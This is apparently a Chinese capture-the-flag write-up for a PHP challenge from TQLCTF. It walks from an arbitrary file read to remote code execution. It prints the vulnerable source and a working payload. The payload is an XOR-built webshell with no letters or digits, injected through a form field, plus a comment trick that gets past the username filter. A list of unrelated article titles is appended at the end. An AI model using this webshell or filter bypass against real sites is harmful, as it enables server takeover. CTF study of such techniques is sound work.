注册登录,抓包发现有个地方有任意文件读取

读取index.php
关键代码

if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){ if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0- 9>\?]/","",$_POST['punctuation']); $template = file_get_contents('./template.html'); $content = str_replace("__USER__", $_POST['user'], $template); $content = str_replace("__PASS__", $hash_pass, $content); $content = str_replace("__WEBSITE__", $_POST['website'], $content); $content = str_replace("__PUNC__", $_POST['punctuation'], $content); file_put_contents('sandbox/'.$hash_user.'.php', $content); echo("<script>alert('Successed!');</script>"); }else{echo("<script>alert('Invalid chars in website!');</script>"); } }else{echo("<script>alert('Invalid chars in username!');</script>");

无字母和数字的getshell
参考p神的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
控制的参数为punctuation,进行传参上马

发现没被解析,猜想应该是解析为html,抓包看看本页面的源代码

关键代码:

<?php error_reporting(0); $user = ((string)3); $pass = ((string)zsfeccbc87e4b5ce2fe28308fd9f2a7baf3); if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){ echo($_COOKIE['user']); }else{die("<script>alert('Permission denied!');</script>"); }?> </li> </ul> <ul class="item"> <li><span class="sitting_btn"></span>糝睕莞罎</li> <li><span class="help_btn"></span>使畨敕啕 <b></b></li> <li><span class="about_btn"></span>啳井敕䝏</li> <li><span class="logout_btn"></span>镕啺糝睕</li> </ul> </div> </div>
</div> <a href="#" class="powered_by">$_=('•'^'`').('•'^'`').('•'^'`').('•'^'`'). ('•'^'`').('•'^'`');$__='_'.(' '^']').('/'^'`').('•'^']').(' '^']');$___=$$__;$_($___[_]);</a> <ul id="deskIcon"> <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>

确实解析为html,但是关键点$user = ((string)3); 3是user的值,然后我们就能进行注释绕过

所以pylaod:

user=1)/*&pass=1&website=1&punctuation=*/;$_=('%01'^'`').('%13'^'`'). ('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`'). ('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*

成功rce

TQLCTF-Simple PHP相关推荐

  1. RabbitMQ 入门系列(11)— RabbitMQ 常用的工作模式(simple模式、work模式、publish/subscribe模式、routing模式、topic模式)

    1. simple 模式 simple 模式是最简单最常用的模式 2. work 模式 work 模式有多个消费者 消息产生者将消息放入队列.生产者系统不需知道哪一个任务执行系统在空闲,直接将任务扔到 ...

  2. Simple NHibernate Architecture[from]

    原文地址:http://www.codeproject.com/aspnet/NHibernateArchitecture.asp Download source - 2,523.7 KB Intro ...

  3. HDU 1757 A Simple Math Problem

    Problem Description Lele now is thinking about a simple function f(x). If x < 10 f(x) = x. If x & ...

  4. Simple Dynamic Strings(SDS)源码解析和使用说明二

    在<Simple Dynamic Strings(SDS)源码解析和使用说明一>文中,我们分析了SDS库中数据的基本结构和创建.释放等方法.本文将介绍其一些其他方法及实现.(转载请指明出于 ...

  5. 《深入理解Android:Wi-Fi,NFC和GPS》章节连载[节选]--第六章 深入理解wi-Fi Simple Configuration...

    为什么80%的码农都做不了架构师?>>>    首先感谢各位兄弟姐妹们的耐心等待.本书预计在4月上市发售.从今天开始,我将在博客中连载此书的一些内容.注意,此处连载的是未经出版社编辑 ...

  6. A simple class to play sound on netcf (part 2)

    在实际测试中发现上一片文章(A simple class to play sound on netcf)中介绍的播放声音的类在pda中运行正常,但却无法在pc中工作,简单分析了一下原因,发现是dll的 ...

  7. Simple Transformer:用BERT、RoBERTa、XLNet、XLM和DistilBERT进行多类文本分类

    作者 | Thilina Rajapakse 译者 | Raku 编辑 | 夕颜 出品 | AI科技大本营(ID: rgznai100) [导读]本文将介绍一个简单易操作的Transformers库- ...

  8. Matplotlib可视化散点图、配置X轴为对数坐标、并使用线条(line)连接散点图中的数据点(Simple Line Plot with Data points in Matplotlib)

    Matplotlib可视化散点图.配置X轴为对数坐标.并使用线条(line)连接散点图中的数据点(Simple Line Plot with Data points in Matplotlib) 目录

  9. Comprehensive anticancer drug response prediction based on a simple cell line drug complex network m

    Comprehensive anticancer drug response prediction based on a simple cell line drug complex network m ...

  10. Could not fetch URL https://pypi.org/simple/pip/

    Could not fetch URL https://pypi.org/simple/pip/ 解决办法 更换pip安装源头成阿里云或清华的 在Windows%appdata%/pip/pip.in ...

最新文章

  1. [魔方]28秒!地铁站真是个破纪录的好地方
  2. python零基础怎么学-零基础如何入门Python
  3. Javaweb监听器(2)
  4. cmd 查看本地ip_西门子WinCCV7.4使用普通网卡通过TCP/IP连接PLC步骤
  5. 商业周刊:摩托罗拉下注Android 不成功便成仁
  6. 如何在 .NET 程序万种死法中有效的生成 Dump (上)
  7. java获取硬盘序列号_Win7 64+Python3.7获取计算机硬盘信息初探
  8. Windows 平台安装 MongoDB
  9. 最新性能测试:Kafka、Pulsar 和 Pravega 哪个最强?
  10. 基于SWT的Sash和FormLayout的自定义分隔窗体
  11. MEncoder的基础用法—6.2. 选择输入文件或设备
  12. Java 将鼠标改为图片的两种方法
  13. 哈理工OJ—1309入侵检测(字符串处--剪枝)
  14. Android限制录制屏幕无声音,屏幕录制没有声音如何解决?
  15. python读写excel文件(xls格式)
  16. 你真的了解ESD吗?老司机从零教学系列之学会ESD选型
  17. android闹铃唤醒软件,温柔唤醒闹钟app_温柔的闹钟铃声有哪些_华为智能闹钟智能唤醒-多特软件站安卓网...
  18. 经典r-k法 matlab,解微分方程欧拉法,R-K法及其MATLAB实例
  19. 关于程序员失眠的解决方案
  20. 加拿大的计算机技术专业,详解加拿大计算机专业及相关方向

热门文章

  1. 香港Revit 二次开发培训归来
  2. 哺乳期母乳不足,如何科学增加奶水?
  3. Makefile的宏
  4. windows 域名绑定ip
  5. 第一性原理计算在材料分析中的应用及未来发展趋势
  6. 对于天海投资未来发展,海航陈峰运筹帷幄
  7. 2020网易前端校招面试题解析
  8. stm32实现iap远程固件更新
  9. http状态码100,200,300,400的含义。
  10. Spring MVC中获取Request的方法及分析